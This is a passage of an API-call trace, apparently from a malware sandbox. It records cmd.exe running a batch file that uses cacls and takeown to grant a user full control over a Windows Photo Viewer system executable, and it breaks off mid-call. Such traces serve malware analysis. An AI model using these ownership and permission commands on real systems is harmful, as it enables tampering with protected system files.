lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x16ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ed34) returned 0x324598 [0136.018] GetProcessHeap () returned 0x310000 [0136.018] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x321810, Size=0x4) returned 0x321810 [0136.018] FindClose (in: hFindFile=0x324598 | out: hFindFile=0x324598) returned 1 [0136.018] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x16ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ed34) returned 0xffffffff [0136.019] GetLastError () returned 0x2 [0136.019] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x16ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ed34) returned 0x324598 [0136.019] FindClose (in: hFindFile=0x324598 | out: hFindFile=0x324598) returned 1 [0136.019] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0136.019] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0136.019] GetConsoleTitleW (in: lpConsoleTitle=0x16ed84, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0136.020] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x324890, lpFilePart=0x16e8a4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16e8a4*="Desktop") returned 0x25 [0136.020] SetErrorMode (uMode=0x0) returned 0x1 [0136.020] GetProcessHeap () returned 0x310000 [0136.020] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x324888, Size=0x60) returned 0x324888 [0136.020] GetProcessHeap () returned 0x310000 [0136.020] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x324888) returned 0x60 [0136.020] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0136.020] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0136.020] GetProcessHeap () returned 0x310000 [0136.020] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x120) returned 0x3248f0 [0136.020] GetProcessHeap () returned 0x310000 [0136.020] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x238) returned 0x324a18 [0136.020] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.020] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x16e620, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e620) returned 0xffffffff [0136.021] GetLastError () returned 0x2 [0136.021] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x16e620, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e620) returned 0xffffffff [0136.021] GetLastError () returned 0x2 [0136.021] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0136.021] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x16e620, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e620) returned 0x324bc8 [0136.021] FindClose (in: hFindFile=0x324bc8 | out: hFindFile=0x324bc8) returned 1 [0136.022] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x16e620, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e620) returned 0xffffffff [0136.022] GetLastError () returned 0x2 [0136.022] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x16e620, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e620) returned 0x324bc8 [0136.022] FindClose (in: hFindFile=0x324bc8 | out: hFindFile=0x324bc8) returned 1 [0136.022] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0136.022] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0136.022] GetConsoleTitleW (in: lpConsoleTitle=0x16eb18, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0136.022] InitializeProcThreadAttributeList (in: lpAttributeList=0x16e9a0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16ea68 | out: lpAttributeList=0x16e9a0, lpSize=0x16ea68) returned 1 [0136.022] UpdateProcThreadAttribute (in: lpAttributeList=0x16e9a0, dwFlags=0x0, Attribute=0x60001, lpValue=0x16ea60, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16e9a0, lpPreviousValue=0x0) returned 1 [0136.023] GetStartupInfoW (in: lpStartupInfo=0x16e95c | out: lpStartupInfo=0x16e95c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0136.023] lstrcmpW (lpString1="\\cacls.exe", lpString2="\\XCOPY.EXE") returned -1 [0136.025] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cacls.exe", lpCommandLine="cacls \"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x16e9fc*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cacls \"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16ea48 | out: lpCommandLine="cacls \"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessInformation=0x16ea48*(hProcess=0x74, hThread=0x78, dwProcessId=0xca4, dwThreadId=0xc98)) returned 1 [0136.056] CloseHandle (hObject=0x78) returned 1 [0136.056] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0136.056] GetProcessHeap () returned 0x310000 [0136.056] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x325fb0 | out: hHeap=0x310000) returned 1 [0136.056] GetEnvironmentStringsW () returned 0x325fb0* [0136.056] GetProcessHeap () returned 0x310000 [0136.056] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb36) returned 0x326af0 [0136.056] FreeEnvironmentStringsW (penv=0x325fb0) returned 1 [0136.056] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0137.553] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x16e93c | out: lpExitCode=0x16e93c*=0x1f57) returned 1 [0137.562] CloseHandle (hObject=0x74) returned 1 [0137.562] _vsnwprintf (in: _Buffer=0x16ea84, _BufferCount=0x13, _Format="%08X", _ArgList=0x16e948 | out: _Buffer="00001F57") returned 8 [0137.562] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00001F57") returned 1 [0137.562] GetProcessHeap () returned 0x310000 [0137.562] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x326af0 | out: hHeap=0x310000) returned 1 [0137.562] GetEnvironmentStringsW () returned 0x325fb0* [0137.562] GetProcessHeap () returned 0x310000 [0137.562] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb5c) returned 0x328198 [0137.562] FreeEnvironmentStringsW (penv=0x325fb0) returned 1 [0137.562] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0137.562] GetProcessHeap () returned 0x310000 [0137.562] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x328198 | out: hHeap=0x310000) returned 1 [0137.562] GetEnvironmentStringsW () returned 0x325fb0* [0137.563] GetProcessHeap () returned 0x310000 [0137.563] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb5c) returned 0x328198 [0137.563] FreeEnvironmentStringsW (penv=0x325fb0) returned 1 [0137.563] GetProcessHeap () returned 0x310000 [0137.563] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x310db8 | out: hHeap=0x310000) returned 1 [0137.563] DeleteProcThreadAttributeList (in: lpAttributeList=0x16e9a0 | out: lpAttributeList=0x16e9a0) [0137.563] _get_osfhandle (_FileHandle=1) returned 0x7 [0137.563] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0137.563] _get_osfhandle (_FileHandle=1) returned 0x7 [0137.563] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0137.563] _get_osfhandle (_FileHandle=0) returned 0x3 [0137.563] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0137.564] SetConsoleInputExeNameW () returned 0x1 [0137.564] GetConsoleOutputCP () returned 0x1b5 [0137.564] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0137.564] SetThreadUILanguage (LangId=0x0) returned 0x409 [0137.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x16f1bc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0137.565] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0137.565] _get_osfhandle (_FileHandle=3) returned 0x74 [0137.565] SetFilePointer (in: hFile=0x74, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0137.565] GetProcessHeap () returned 0x310000 [0137.565] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324b48 | out: hHeap=0x310000) returned 1 [0137.565] GetProcessHeap () returned 0x310000 [0137.565] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324a18 | out: hHeap=0x310000) returned 1 [0137.565] GetProcessHeap () returned 0x310000 [0137.565] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3248f0 | out: hHeap=0x310000) returned 1 [0137.565] GetProcessHeap () returned 0x310000 [0137.565] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324888 | out: hHeap=0x310000) returned 1 [0137.565] GetProcessHeap () returned 0x310000 [0137.565] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3247b0 | out: hHeap=0x310000) returned 1 [0137.565] GetProcessHeap () returned 0x310000 [0137.565] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324598 | out: hHeap=0x310000) returned 1 [0137.565] GetProcessHeap () returned 0x310000 [0137.565] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324518 | out: hHeap=0x310000) returned 1 [0137.565] GetProcessHeap () returned 0x310000 [0137.565] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3243e8 | out: hHeap=0x310000) returned 1 [0137.565] GetProcessHeap () returned 0x310000 [0137.565] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3242c0 | out: hHeap=0x310000) returned 1 [0137.565] GetProcessHeap () returned 0x310000 [0137.565] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324258 | out: hHeap=0x310000) returned 1 [0137.565] GetProcessHeap () returned 0x310000 [0137.566] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324190 | out: hHeap=0x310000) returned 1 [0137.566] GetProcessHeap () returned 0x310000 [0137.566] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x310ab8 | out: hHeap=0x310000) returned 1 [0137.566] GetProcessHeap () returned 0x310000 [0137.566] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x311250 | out: hHeap=0x310000) returned 1 [0137.566] _get_osfhandle (_FileHandle=3) returned 0x74 [0137.566] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0137.566] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x16f1a0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x16f1a0*=0xc2, lpOverlapped=0x0) returned 1 [0137.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0137.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="takeown /F %1\r\n%USERNAME%:F /C\r\n") returned 15 [0137.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0137.567] GetFileType (hFile=0x74) returned 0x1 [0137.567] _get_osfhandle (_FileHandle=3) returned 0x74 [0137.567] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0137.567] GetProcessHeap () returned 0x310000 [0137.567] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x400a) returned 0x334b28 [0137.568] GetProcessHeap () returned 0x310000 [0137.568] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x334b28 | out: hHeap=0x310000) returned 1 [0137.570] _tell (_FileHandle=3) returned 47 [0137.570] _close (_FileHandle=3) returned 0 [0137.570] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16ef74 | out: _Buffer="\r\n") returned 2 [0137.570] _get_osfhandle (_FileHandle=1) returned 0x7 [0137.570] GetFileType (hFile=0x7) returned 0x2 [0137.570] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0137.570] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16ef34 | out: lpMode=0x16ef34) returned 1 [0137.571] _get_osfhandle (_FileHandle=1) returned 0x7 [0137.571] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16ef60, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16ef60*=0x2) returned 1 [0137.572] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0137.572] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0137.572] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x16ef70 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0137.572] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x16ef70 | out: _Buffer=">") returned 1 [0137.572] _get_osfhandle (_FileHandle=1) returned 0x7 [0137.572] GetFileType (hFile=0x7) returned 0x2 [0137.573] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0137.573] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16ef38 | out: lpMode=0x16ef38) returned 1 [0137.573] _get_osfhandle (_FileHandle=1) returned 0x7 [0137.573] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x16ef64, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x16ef64*=0x26) returned 1 [0137.573] _get_osfhandle (_FileHandle=1) returned 0x7 [0137.573] GetFileType (hFile=0x7) returned 0x2 [0137.574] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0137.574] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1bc | out: lpMode=0x16f1bc) returned 1 [0137.574] _get_osfhandle (_FileHandle=1) returned 0x7 [0137.574] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x310ac0*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x16f1e8, lpReserved=0x0 | out: lpBuffer=0x310ac0*, lpNumberOfCharsWritten=0x16f1e8*=0x7) returned 1 [0137.574] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x16f1f4 | out: _Buffer=" /F \"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\" ") returned 63 [0137.574] _get_osfhandle (_FileHandle=1) returned 0x7 [0137.574] GetFileType (hFile=0x7) returned 0x2 [0137.575] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0137.575] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1b4 | out: lpMode=0x16f1b4) returned 1 [0137.575] _get_osfhandle (_FileHandle=1) returned 0x7 [0137.575] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x16f1e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f1e0*=0x3f) returned 1 [0137.576] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16f214 | out: _Buffer="\r\n") returned 2 [0137.576] _get_osfhandle (_FileHandle=1) returned 0x7 [0137.576] GetFileType (hFile=0x7) returned 0x2 [0137.577] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0137.577] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1d4 | out: lpMode=0x16f1d4) returned 1 [0137.577] _get_osfhandle (_FileHandle=1) returned 0x7 [0137.577] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16f200, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f200*=0x2) returned 1 [0137.578] _wcsicmp (_String1="takeown", _String2="DIR") returned 16 [0137.578] _wcsicmp (_String1="takeown", _String2="ERASE") returned 15 [0137.578] _wcsicmp (_String1="takeown", _String2="DEL") returned 16 [0137.578] _wcsicmp (_String1="takeown", _String2="TYPE") returned -24 [0137.578] _wcsicmp (_String1="takeown", _String2="COPY") returned 17 [0137.578] _wcsicmp (_String1="takeown", _String2="CD") returned 17 [0137.579] _wcsicmp (_String1="takeown", _String2="CHDIR") returned 17 [0137.579] _wcsicmp (_String1="takeown", _String2="RENAME") returned 2 [0137.579] _wcsicmp (_String1="takeown", _String2="REN") returned 2 [0137.579] _wcsicmp (_String1="takeown", _String2="ECHO") returned 15 [0137.579] _wcsicmp (_String1="takeown", _String2="SET") returned 1 [0137.579] _wcsicmp (_String1="takeown", _String2="PAUSE") returned 4 [0137.579] _wcsicmp (_String1="takeown", _String2="DATE") returned 16 [0137.579] _wcsicmp (_String1="takeown", _String2="TIME") returned -8 [0137.579] _wcsicmp (_String1="takeown", _String2="PROMPT") returned 4 [0137.579] _wcsicmp (_String1="takeown", _String2="MD") returned 7 [0137.579] _wcsicmp (_String1="takeown", _String2="MKDIR") returned 7 [0137.579] _wcsicmp (_String1="takeown", _String2="RD") returned 2 [0137.579] _wcsicmp (_String1="takeown", _String2="RMDIR") returned 2 [0137.579] _wcsicmp (_String1="takeown", _String2="PATH") returned 4 [0137.579] _wcsicmp (_String1="takeown", _String2="GOTO") returned 13 [0137.579] _wcsicmp (_String1="takeown", _String2="SHIFT") returned 1 [0137.579] _wcsicmp (_String1="takeown", _String2="CLS") returned 17 [0137.579] _wcsicmp (_String1="takeown", _String2="CALL") returned 17 [0137.579] _wcsicmp (_String1="takeown", _String2="VERIFY") returned -2 [0137.579] _wcsicmp (_String1="takeown", _String2="VER") returned -2 [0137.579] _wcsicmp (_String1="takeown", _String2="VOL") returned -2 [0137.579] _wcsicmp (_String1="takeown", _String2="EXIT") returned 15 [0137.579] _wcsicmp (_String1="takeown", _String2="SETLOCAL") returned 1 [0137.579] _wcsicmp (_String1="takeown", _String2="ENDLOCAL") returned 15 [0137.579] _wcsicmp (_String1="takeown", _String2="TITLE") returned -8 [0137.579] _wcsicmp (_String1="takeown", _String2="START") returned 1 [0137.579] _wcsicmp (_String1="takeown", _String2="DPATH") returned 16 [0137.579] _wcsicmp (_String1="takeown", _String2="KEYS") returned 9 [0137.579] _wcsicmp (_String1="takeown", _String2="MOVE") returned 7 [0137.579] _wcsicmp (_String1="takeown", _String2="PUSHD") returned 4 [0137.579] _wcsicmp (_String1="takeown", _String2="POPD") returned 4 [0137.579] _wcsicmp (_String1="takeown", _String2="ASSOC") returned 19 [0137.579] _wcsicmp (_String1="takeown", _String2="FTYPE") returned 14 [0137.579] _wcsicmp (_String1="takeown", _String2="BREAK") returned 18 [0137.579] _wcsicmp (_String1="takeown", _String2="COLOR") returned 17 [0137.579] _wcsicmp (_String1="takeown", _String2="MKLINK") returned 7 [0137.580] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x324228, lpFilePart=0x16efb8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16efb8*="Desktop") returned 0x25 [0137.580] SetErrorMode (uMode=0x0) returned 0x1 [0137.580] GetProcessHeap () returned 0x310000 [0137.580] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x324220, Size=0x64) returned 0x324220 [0137.580] GetProcessHeap () returned 0x310000 [0137.580] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x324220) returned 0x64 [0137.580] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0137.580] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0137.580] GetProcessHeap () returned 0x310000 [0137.580] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x120) returned 0x324290 [0137.580] GetProcessHeap () returned 0x310000 [0137.580] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x238) returned 0x3243b8 [0137.580] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0137.581] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x16ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ed34) returned 0xffffffff [0137.581] GetLastError () returned 0x2 [0137.581] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x16ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ed34) returned 0xffffffff [0137.581] GetLastError () returned 0x2 [0137.582] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0137.582] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x16ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ed34) returned 0x324568 [0137.582] FindClose (in: hFindFile=0x324568 | out: hFindFile=0x324568) returned 1 [0137.582] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x16ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ed34) returned 0xffffffff [0137.583] GetLastError () returned 0x2 [0137.583] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x16ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ed34) returned 0x324568 [0137.583] FindClose (in: hFindFile=0x324568 | out: hFindFile=0x324568) returned 1 [0137.583] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0137.583] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0137.583] GetConsoleTitleW (in: lpConsoleTitle=0x16ed84, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0137.584] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x324d18, lpFilePart=0x16e8a4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16e8a4*="Desktop") returned 0x25 [0137.584] SetErrorMode (uMode=0x0) returned 0x1 [0137.584] GetProcessHeap () returned 0x310000 [0137.584] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x324d10, Size=0x64) returned 0x324d10 [0137.584] GetProcessHeap () returned 0x310000 [0137.584] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x324d10) returned 0x64 [0137.584] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0137.584] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0137.584] GetProcessHeap () returned 0x310000 [0137.584] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x120) returned 0x324820 [0137.584] GetProcessHeap () returned 0x310000 [0137.584] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x238) returned 0x324948 [0137.584] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0137.584] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x16e620, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e620) returned 0xffffffff [0137.584] GetLastError () returned 0x2 [0137.585] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x16e620, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e620) returned 0xffffffff [0137.585] GetLastError () returned 0x2 [0137.585] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0137.585] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x16e620, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e620) returned 0x324af8 [0137.585] FindClose (in: hFindFile=0x324af8 | out: hFindFile=0x324af8) returned 1 [0137.586] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x16e620, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e620) returned 0xffffffff [0137.586] GetLastError () returned 0x2 [0137.586] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x16e620, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e620) returned 0x324af8 [0137.586] FindClose (in: hFindFile=0x324af8 | out: hFindFile=0x324af8) returned 1 [0137.586] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0137.586] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0137.586] GetConsoleTitleW 